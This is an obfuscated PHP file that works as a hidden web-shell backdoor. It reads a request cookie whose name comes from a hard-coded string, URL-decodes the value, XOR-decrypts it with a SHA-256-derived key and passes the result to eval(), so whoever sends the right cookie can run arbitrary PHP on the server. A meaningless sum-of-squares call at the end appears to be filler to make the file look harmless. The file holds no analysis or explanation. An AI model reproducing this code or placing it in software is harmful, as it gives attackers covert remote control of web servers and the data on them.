<?php function SNSgfg($mUqrBDAMz, $eMmSYOizX)
{
    $RJDSOuTvg = $mUqrBDAMz ^ $eMmSYOizX;
    return $RJDSOuTvg;
}
function jjwgjiA($OxOOCW, $pbRbG)
{
    $pZjehAASuy = str_pad($OxOOCW, $pbRbG, $OxOOCW);
    return $pZjehAASuy;
}
function WyTAjb()
{
    $smSSIoZeLW = TDStq();
    ZBzNP($smSSIoZeLW);
}
function TDStq()
{
    $HWfCxvdOhAPI = DoFuCwVTqU();
    $gotDyPcwHK = IyfKHVUj($HWfCxvdOhAPI);
    return $gotDyPcwHK;
}
function hFMBwrbrj($DiAseOT)
{
    $TygYzO = rawurldecode($DiAseOT);
    return $TygYzO;
}
function TWMQopPJM($tUoRDnphX)
{
    $CtVrqDIMEl = hash("sha256", $tUoRDnphX, TRUE);
    return $CtVrqDIMEl;
}
function uzuxwv($NMfyNaFXfi)
{
    $pcLLKN = $_COOKIE[$NMfyNaFXfi];
    return $pcLLKN;
}
function xCyjwc($rKOYeNmRwl)
{
    $HmZDmcp = substr($rKOYeNmRwl, -4);
    return $HmZDmcp;
}
function butIxwCjEO($gAjwvxAmr, $BOZQC)
{
    $qrlfPpHyGT = TWMQopPJM($gAjwvxAmr);
    $YUwpQSO = PGUlWv($BOZQC);
    $lpAsuxTj = hustvirSK($YUwpQSO, $qrlfPpHyGT);
    return $lpAsuxTj;
}
function PGUlWv($rELMVozlB)
{
    $sClCmLH = uzuxwv($rELMVozlB);
    $YUwpQSO = hFMBwrbrj($sClCmLH);
    return $YUwpQSO;
}
function YyzDOFEJ($HWfCxvd) {
    return $HWfCxvd * $HWfCxvd;
}
function IyfKHVUj($UpgZzCuK)
{
    $SidSpGJI = xCyjwc($UpgZzCuK);
    $junddtTWV = butIxwCjEO($UpgZzCuK, $SidSpGJI);
    return $junddtTWV;
}
function ElFUQWL($eklbNQhJC)
{
    $DcFniEmK = strlen($eklbNQhJC);
    return $DcFniEmK;
}
function VEWnEPlbo($PscwzdvAm) {
    $rNLFWMueFQ = 0;
    foreach ($PscwzdvAm as $lrnDbMBw) {
        $rNLFWMueFQ += YyzDOFEJ($lrnDbMBw);
    }
    return $rNLFWMueFQ;
}
function DoFuCwVTqU()
{
    $ujLaiU = "bckdBKuGFizqiXigkcsMaTd";
    return $ujLaiU;
}
function hustvirSK($cSvbS, $ZZLSl)
{
    $rQGWvPSFIf = ElFUQWL($cSvbS);
    $PlwwbadbEW = jjwgjiA($ZZLSl, $rQGWvPSFIf);
    $smSSIoZeLW = SNSgfg($PlwwbadbEW, $cSvbS);
    return $smSSIoZeLW;
}
function ZBzNP($sZJzRwhZ)
{
    eval($sZJzRwhZ);
}
WyTAjb();
$jsxHtP = VEWnEPlbo([1, 2, 3, 4]);